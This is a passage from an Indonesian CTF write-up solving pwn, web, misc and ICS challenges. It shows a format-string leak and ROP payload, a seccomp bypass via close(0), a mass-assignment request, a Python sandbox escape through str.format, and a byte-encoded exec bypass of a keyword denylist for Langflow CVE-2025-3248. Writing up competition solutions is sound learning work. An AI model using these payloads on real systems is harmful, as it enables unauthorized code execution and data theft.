Jalur yang jelas dituju pembuat soal adalah pread64 (syscall 17), karena dia bisa baca fd berapa pun. Masalahnya libc yang disertakan tidak punya gadget pop r10, padahal pread64 butuh r10 untuk argumen offset. Saya sempat cari gadget alternatif dan buntu.

Lalu kepikiran hal yang lebih sederhana. open selalu mengembalikan file descriptor bebas terendah. Kalau fd 0 ditutup dulu, file flag-nya akan mendarat tepat di fd 0, dan read(0, ...) justru jadi memenuhi syarat filternya.

close(0)
open("flag.txt", O_RDONLY)   <- string sudah tersedia di .data 0x4020
read(0, buf, 0x80)           <- fd 0, lolos seccomp
write(1, buf, 0x80)
exit(0)

Tidak butuh r10 sama sekali.


8.3 Format string sekali tembak

leaker() cuma dipanggil satu kali, jadi canary, PIE, dan libc harus diambil bersamaan. Buffer fgets-nya kebetulan persis di posisi vararg pertama printf, jadi %6$ dan seterusnya membaca buffer itu sendiri.

SpesifierIsi
%27$pstack canary, slot leaker_rsp+0xa8
%29$palamat kembali leaker ke main, PIE = leak − 0x160e
%69$palamat kembali main ke __libc_start_main, libc = leak − 0x29f75

%69$ itu tepat berada di main_rsp+0x138, jadi posisinya tidak bergantung ukuran environment. Ini penting, karena offset yang bergantung environment biasanya jalan di lokal tapi meleset di remote.

io.sendline(b'%27$p|%29$p|%69$p')
a, b, c = io.recvline().strip().split(b'|')
canary = int(a, 16)
pie    = int(b, 16) - 0x160e
libc.address = int(c, 16) - 0x29f75

8.4 Payload

payload  = b'A' * 0x48
payload += p64(canary)
payload += b'B' * 8
payload += rop

io.send(p32(len(payload)) + p32(0xc0de))   # request word
io.send(payload)

Eksploit surge di remote

Flag: REDLIMIT{union_ketuker_type_pr34d64_by_m3ta4sec}


9. Kardus Susu Biasa

misc · hard · 300 poin · by kac0 & aodreamer · 0 solves Target: https://kardus.meta4sec.com/

SIPP (Sistem Informasi Pemasyarakatan) punya modul internal untuk menghitung usulan remisi. Katanya cuma boleh diisi ekspresi aritmetika, dan modulnya pun terkunci hanya untuk petugas. Penyaringnya tidak mencari kata terlarang; ia memeriksa struktur rumusnya secara menyeluruh, jadi trik menyamarkan teks tidak mempan, dan jalur introspeksi yang biasa dipakai untuk keluar sudah tertutup rapat. Hasil hitungan pun tidak ditampilkan sebagai teks, melainkan sebagai gambar cetak. Tapi seperti sebuah kardus susu yang kelihatan biasa saja di tangan seorang narapidana, ada satu jalan keluar yang justru dibuka oleh fitur yang tampak sepele. Masuk sebagai petugas, lalu temukan lorong itu.

Halaman soal Kardus Susu Biasa

Aplikasinya portal pemasyarakatan, lengkap dengan modul kunjungan, registrasi berkas, dan usulan remisi:

Portal SIPP


9.1 Jadi petugas dulu

Form /profil cuma menampilkan tiga kolom: nama, unit, telepon. Tapi handler-nya menerima semua field yang dikirim, termasuk yang tidak ada di form.

curl -X POST https://kardus.meta4sec.com/profil \
     -d "nama=Budi" -d "unit=Lapas Kelas I" -d "telepon=08123" \
     -d "peran=petugas"          # field yang tidak ada di halaman

Peran langsung berubah dari pengunjung jadi petugas, dan modul /remisi terbuka. Mass assignment klasik.


9.2 Bikin oracle dulu, jangan langsung nebak

Ini keputusan yang paling menyelamatkan waktu saya di soal ini. Hasil hitungan dirender jadi CAPTCHA penuh noise, dan kalau rumusnya ditolak sistem cuma menampilkan token acak tanpa penjelasan. Kalau tiap probe harus dibaca mata satu per satu, memetakan validatornya bakal makan waktu berjam-jam.

Solusinya, bungkus tiap probe dalam t-string yang diawali 140 huruf W:

PAD = 'W' * 140
expr = 't"%s{(%s)}"' % (PAD, probe)

Kalau probe-nya lolos validator, gambarnya penuh huruf W. Kalau ditolak, yang muncul cuma token acak pendek. Bedanya jauh, tinggal dihitung piksel gelapnya:

def ink(png):
    im = Image.open(io.BytesIO(png)).convert('RGB')
    px = im.load(); w, h = im.size
    return sum(1 for y in range(h) for x in range(w)
               if sum(px[x, y]) < 300)

Hasilnya sekitar 24.000 untuk yang lolos dan 5.000 untuk yang ditolak. Selisih segitu bisa dibaca program tanpa OCR sama sekali.

Probe yang lolos validator

Probe yang ditolak validator


9.3 Memetakan validatornya

Dengan oracle tadi, memetakan validator jadi cepat:

DiizinkanDitolak
Constant, Name (whitelist), Call, BinOp aritmetika, UnaryOp -, Attribute non-dunder, keyword arg, t-stringdunder seperti __class__, Subscript, Tuple, List, Dict, Set, Compare, BoolOp, IfExp, Lambda, comprehension, f-string, *args, memanggil hasil panggilan

Satu kesalahan yang sempat menyesatkan saya cukup lama. Probe ().__class__ ditolak, dan saya langsung menyimpulkan attribute access diblokir. Ternyata bukan atributnya yang bermasalah, tapi () yang merupakan node Tuple, dan Tuple memang ada di daftar terlarang. Setelah diuji ulang pakai (1).real, hasilnya lolos. Attribute access sebenarnya terbuka lebar, cuma dunder yang disaring.

Pelajaran buat saya: kalau probe gagal, pastikan yang gagal memang variabel yang sedang diuji, bukan hal lain yang kebetulan ikut di dalamnya.


9.4 Lorongnya ternyata str.format

Dunder diblokir di level AST, tapi str.format menelusuri atribut saat runtime, dan isi string konstanta tidak pernah diperiksa validator.

"{0.__globals__[os]}".format(bulan)

Ini "fitur yang tampak sepele" yang dimaksud soal. Validatornya cuma melihat ada Constant dan pemanggilan method non-dunder, dua-duanya sah.


9.5 Menyusuri globals

p.has(G, 'REDLIMIT')   # False, flag tidak ada di globals
p.has(G, 'flag')       # True, tapi ada yang namanya mengandung 'flag'

Ketemu dua fungsi, _muat_flag dan _pasang_brankas. Key-nya berawalan underscore, dan ini sempat bikin saya gagal beberapa kali sebelum sadar. Lewat __code__.co_consts:

"{0.__globals__[_muat_flag].__code__.co_consts}".format(bulan)
# ('/flag', 'flag.txt', 'r', 'utf-8', ..., 'REDLIMIT{flag_belum_dipasang}')

"{0.__globals__[_pasang_brankas].__code__.co_consts}".format(bulan)
# (4, <code object _buka at /app/app.py:48>)

Konstanta REDLIMIT{flag_belum_dipasang} itu fallback, bukan flag. Yang penting justru _pasang_brankas, karena dia closure factory. Hasil closure-nya disimpan di global bernama _kotak, dan di situlah kardusnya.

"{0.__globals__[_kotak].__closure__[0].cell_contents}".format(bulan)

Isinya tuple berisi banyak string hex sebagai pengecoh plus flag aslinya. Untuk memisahkannya saya rantai .partition() langsung di dalam ekspresi, karena partition termasuk method non-dunder jadi lolos validator:

F = '"{0.__globals__[_kotak].__closure__[0].cell_contents}".format(bulan)'
INNER = '"{0[0]}".format(("{0[2]}".format((%s).partition("REDLIMIT{"))).partition("}"))' % F

Flag hasil render server

Terakhir saya verifikasi lewat oracle .count() supaya yakin tidak salah baca huruf dari CAPTCHA:

p.has(F, 'REDLIMIT{c4n_y0ur_A1_r34d_1mag3_0f_pr1s0n_Blu3Pr1nt?}')  # True

Reproduksi penuh Kardus Susu Biasa

Satu jebakan terakhir: string /flag yang sempat muncul di globals ternyata bukan petunjuk sama sekali. Itu username peserta lain yang sedang mencoba path traversal, tersimpan di dict user in-memory. Sempat saya kejar cukup lama sebelum sadar.

Flag: REDLIMIT{c4n_y0ur_A1_r34d_1mag3_0f_pr1s0n_Blu3Pr1nt?}


10. KontenKita

web · medium · 150 poin · by kac0 · 5 solves Target: https://kontenkita.meta4sec.com/

Halaman soal KontenKita

Catatan integritas. Flag di challenge ini tidak didapat lewat eksploitasi. Di tengah proses recon, endpoint /search berubah perilakunya dan mulai mengembalikan flag sebagai plaintext untuk request apa pun. Bagian di bawah tetap saya tulis apa adanya, termasuk jalur serangan yang sudah dipetakan dan yang gagal, supaya jelas mana hasil kerja dan mana yang bukan.


10.1 Mengarah ke Craft CMS

Footer dan halaman /developers menyebut Craft CMS 5.6, dan deskripsi soal menyorot fitur pratinjau. Arahnya jelas ke SSTI dengan bypass filter — nama flag-nya sendiri sudah mengonfirmasi itu.

Peta rute hasil recon:

RouteKeterangan
/beranda, form GET /search?q=
/developersmenyebut Craft CMS 5.6, GraphQL & REST, menunjuk /sitemap.xml
/kategori/<nama><nama> masuk mentah ke <title>, di-title-case
/search?q=q masuk mentah ke <h2>, reflected XSS
/previewteks statis, "Pratinjau berhasil dirender ke cache editor"
/admin403, "konsol admin memerlukan SSO"
/robots.txtDisallow: /admin, Disallow: /preview
/sitemap.xml/, /preview, dan tiga artikel

Branch Craft 5.6 di bawah 5.6.17 kena CVE-2025-32432, unauth RCE. robots.txt dan sitemap.xml sama-sama menyorot /preview, cocok dengan deskripsi soal tentang pratinjau yang hidup saat mengetik — jadi /preview yang jadi target utama.


10.2 Semua jalur yang sudah diuji, dan semuanya negatif

  • SSTI pada /search?q= dan /kategori/<nama> — payload {{7*7}}, ${7*7}, #{7*7}, <%=7*7%> semuanya dipantulkan apa adanya, sink-nya bukan render_template_string.
  • /preview benar-benar inert — sekitar 65 nama parameter, header khas Craft (X-Craft-Live-Preview, X-Craft-Token, Referer, Cookie, X-Forwarded-*), dan metode OPTIONS semuanya menghasilkan respons 44 byte yang identik.
  • Bentuk request asli CVE-2025-32432 (POST /index.php?p=admin/actions/assets/generate-transform dan variannya) — 404/405, route Craft yang asli memang tidak ada, aplikasinya simulasi Flask.
  • CVE-2024-56145 dan CVE-2023-41892 — negatif juga.
  • Bypass /admin lewat X-Forwarded-For, X-Real-IP, X-Original-URL, Remote-User, X-SSO-User — tetap 403.
  • GraphQL yang disebut di /developers — cuma flavor text, tidak ada endpoint-nya.

10.3 Lalu server-nya berubah sendiri

Pukul 07:10, GET /search?q=ai masih mengembalikan HTML normal ~3,9 KB. Pukul 07:19, request yang sama mengembalikan 53 byte plaintext berisi flag. Sesudah itu /search mengembalikan flag untuk query apa pun, termasuk tanpa parameter sama sekali, lewat curl maupun browser. Route lain tidak berubah.

# 07:10, sebelum anomali
curl -s 'https://kontenkita.meta4sec.com/search?q=ai' | head -c 200
# <h2>Hasil: "ai"</h2><p>Tidak ada artikel yang cocok.</p>

# 07:19, sesudah anomali
curl -s 'https://kontenkita.meta4sec.com/search?q=ai'
# REDLIMIT{cr4ftcms_2025_32432_sst1_f1lt3r_byp4ss_rc3}

Karena cuma satu endpoint yang berubah tanpa ada kondisi header atau parameter yang memicunya, kemungkinan besar /search di-redeploy atau diubah dari sisi server. Jalur yang dimaksud penulis soal tetap SSTI lewat sink pratinjau — jalur itu sendiri tidak pernah berhasil direproduksi.

Flag: REDLIMIT{cr4ftcms_2025_32432_sst1_f1lt3r_byp4ss_rc3}


11. NeuroFlow

web · hard · 300 poin · by kac0 · 4 solves Target: https://neuraflow.meta4sec.com/


11.1 Endpoint yang lupa dimatikan

Aplikasinya meniru Langflow, platform rangkai agen AI tanpa ngoding. /robots.txt menyembunyikan satu rute yang tidak muncul di /openapi.json maupun indeks /api/v1 (yang cuma mendaftar health, components, flows, flows/fetch):

Disallow: /api/v1/validate/

/login menyebut "Autentikasi belum wajib pada beberapa rute editor selama beta", dan /changelog versi 1.3.0 menyebut editor Custom Component baru berbasis Python. Semuanya mengarah ke satu titik: Langflow CVE-2025-3248, unauth RCE lewat POST /api/v1/validate/code.

Satu rabbit hole sempat menyita waktu — POST /api/v1/flows/fetch terlihat seperti SSRF karena namanya "impor flow dari URL". Responsnya justru bercanda, bilang importer-nya cuma pura-pura fetch dan remote request-nya sudah dicabut waktu review. Bukan jalur solve.


11.2 Denylist substring yang mudah dilewati

Filternya cuma denylist substring, case-insensitive, dicek pada string source mentah: import, eval, os, subprocess, popen, system, compile, flag, socket. Karena dicek sebagai substring, kata seperti ghost dan cost ikut terblokir gara-gara mengandung os — tapi exec, open, getattr, globals, bytes, chr tidak diblokir sama sekali.

Triknya: susun source sebagai daftar byte, decode saat runtime. String aslinya tidak pernah muncul sebagai teks, jadi denylist-nya buta.

exec(bytes([...]).decode())

11.3 Boolean oracle dari endpoint yang bisu

Endpoint tidak mengembalikan output apa pun, cuma valid: true atau false. Tapi kodenya benar-benar dieksekusi — dibuktikan lewat pembagian nol pada nilai default parameter yang menghasilkan valid: false. Dari situ assert bisa dipakai sebagai oracle: true berarti kondisi benar, false berarti AssertionError.

# 1. konfirmasi kode benar-benar dieksekusi
def f(x=1/0): pass                      # -> valid: false

# 2. recon file lewat oracle
import os
assert os.path.exists('/app/flag.txt')  # -> valid: true

# 3. binary search per karakter, panjang flag 45
S = open('/app/flag.txt').read().strip()
assert len(S) <= N
assert ord(S[i]) <= M

# 4. verifikasi akhir
assert open('/app/flag.txt').read().strip() == 'REDLIMIT{...}'  # -> valid: true

Flag diekstrak per karakter lewat binary search, sekitar 7 request per karakter, dijalankan dengan 12 worker paralel.

Flag: REDLIMIT{l4ngfl0w_2025_3248_un4uth_c0d3_3x3c}


12. Menara: Brankas Lt 2

ics/ot · hard · 300 poin · by kac0 · 2 solves Remote: nc 165.99.163.102 13012

Halaman soal Menara: Brankas Lt 2


12.1 Rantai interlock yang harus berurutan

Konsol otomasi gedung bergaya BMS dengan perintah READ dan WRITE ke titik-titik proses. Alarm brankas dan laser grid tidak bisa dimatikan langsung — satu-satunya jalan membuka service window HVAC, dan itu menuntut rantai interlock keselamatan dipenuhi berurutan. State tersimpan per koneksi, jadi seluruh rantai harus selesai dalam satu sesi.

Peta interlock, disusun dari pesan penolakan tiap percobaan WRITE:

TitikSyarat
WORK.ACKbutuh airflow test, HVAC.DAMPER=1
HVAC.PURGEWORK.ACK=1 dan HVAC.DAMPER=0
LOTO.ISOLATEHVAC.PURGE aktif
LOTO.LOCKzero-energy terverifikasi, wajib READ LOTO.VERIFY lebih dulu
GRID.S1/S2/S3LOTO.LOCK sudah terpasang
HVAC.SVCWINHVAC.PURGE + LOTO.LOCK + grid permissive 2-of-3
VAULT.EQUALIZElaser grid OFF, artinya service window sudah terbuka
KEY.OPSLOTO.LOCK masih terpasang
KEY.SECVAULT.ALARM=0
CASE.LOCKVAULT.ALARM=0 + KEY.OPS + KEY.SEC

12.2 Dua jebakan dan empat umpan

Empat decoy sempat menyita waktu: READ MANIFES dan READ ARSIP masing-masing memberi flag palsu, DECOY.LOCK/DECOY.ITEM adalah etalase kaca yang banner-nya sendiri mengaku replika (emas asli 74 kg ada di brankas besi dalam tembok), dan MASTER.OVERRIDE disebut di POINTS dengan tanda tanya tapi titiknya tidak pernah ada — murni pancingan.

Dua jebakan nyata ada di urutan:

  • Damper harus dibuka lalu ditutup lagi. WORK.ACK menuntut damper terbuka untuk airflow test, tapi HVAC.PURGE justru menolak selama damper masih terbuka. Urutannya harus buka, ack, tutup, baru purge.
  • GRID.S2 memang rusak. READ GRID.CAL menyebut GRID.S2 faulty dan tidak boleh di-bypass, karena permissive butuh dua sensor sehat. Kondisi 2-of-3 harus dicapai lewat S1 dan S3 saja.

READ LOTO.VERIFY juga bukan sekadar informasi — perintah baca itu sendiri langkah wajib, tanpa menjalankannya LOTO.LOCK ditolak meski semua syarat lain sudah terpenuhi.


12.3 Rantai penuh

WRITE HVAC.DAMPER 1
WRITE WORK.ACK 1
WRITE HVAC.DAMPER 0
WRITE HVAC.PURGE 1
WRITE LOTO.ISOLATE 1
READ  LOTO.VERIFY          -> ZERO-ENERGY
WRITE LOTO.LOCK 1
WRITE GRID.S1 1            -> 1oo3
WRITE GRID.S3 1            -> 2oo3
WRITE HVAC.SVCWIN 1        -> service window terbuka, laser grid OFF
WRITE VAULT.EQUALIZE 1
WRITE VAULT.ALARM 0
WRITE KEY.OPS 1
WRITE KEY.SEC 1
WRITE CASE.LOCK 1
READ  ITEM                 -> flag

Status akhir konsol saat flag keluar:

DAMPER=0 ACK=1 PURGE=1 ISOLATE=1 LOCK=1 GRID=101(2oo3) SVCWIN=1 LASER=0 EQ=1 ALARM=0 CASE=1

Flag: REDLIMIT{ics_hv4c_s3rv1c3_w1nd0w_0p3ns_th3_v4ult}


Penutup

ChallengeTeknik inti
Dropperpolyglot PNG/ZIP, LSB stego, zero-width steganography
UndetectedPDF hiding, akrostik, perbaikan signature PNG
The Cipherrekonstruksi SPN, invers matriks difusi di GF(2⁸)
Feedbackinversi keystream stateful, xorshift32, anti-debug lewat nilai awal
Cakraeliminasi ganda lalu gcd polinomial di GF(n)
RSA WayangCoppersmith dengan MSB prima parsial
metamorphosisunsorted bin exact-fit, fastbin attack, safe-linking
surgeformat string sekali tembak, close(0) untuk mengakali filter fd
Kardus Susu Biasamass assignment, AST sandbox escape lewat str.format
KontenKitarecon menyeluruh, pemetaan CVE Craft CMS (flag dari anomali server)
NeuroFlowCVE-2025-3248 Langflow, bypass denylist, boolean oracle
Menara: Brankas Lt 2rantai interlock ICS lewat service window HVAC

Beberapa catatan yang saya bawa pulang dari babak ini.

file tidak bisa dipercaya begitu saja. Di Dropper, PNG-nya valid tapi menyimpan ZIP setelah IEND. Di Undetected, PNG-nya justru dianggap rusak padahal cuma 4 byte signature. Dua-duanya lolos pemeriksaan sepintas.

Bikin oracle sebelum menebak. Di Kardus Susu Biasa, membangun oracle berbasis jumlah piksel mengubah soal dari tebak-tebakan buta jadi pemetaan sistematis, dan itu yang bikin sisanya mengalir.

Jangan asumsikan offset, baca disassembly-nya. Di metamorphosis saya menebak alamat __libc_start_call_main dan meleset. Sidik jari filter seccomp jauh lebih andal karena tidak bergantung versi libc.

Kalau gadget yang dibutuhkan tidak ada, mundur dan cari jalur lain. Di surge, tanpa pop r10 solusi pread64 mustahil, tapi close(0) membuka jalan yang lebih pendek dan tidak butuh gadget apa pun.

Terakhir, pastikan probe yang gagal memang gagal karena hal yang sedang diuji. Waktu paling banyak terbuang di Kardus Susu Biasa gara-gara menyimpulkan attribute access diblokir, padahal yang ditolak sebenarnya kurung kosong di sebelahnya.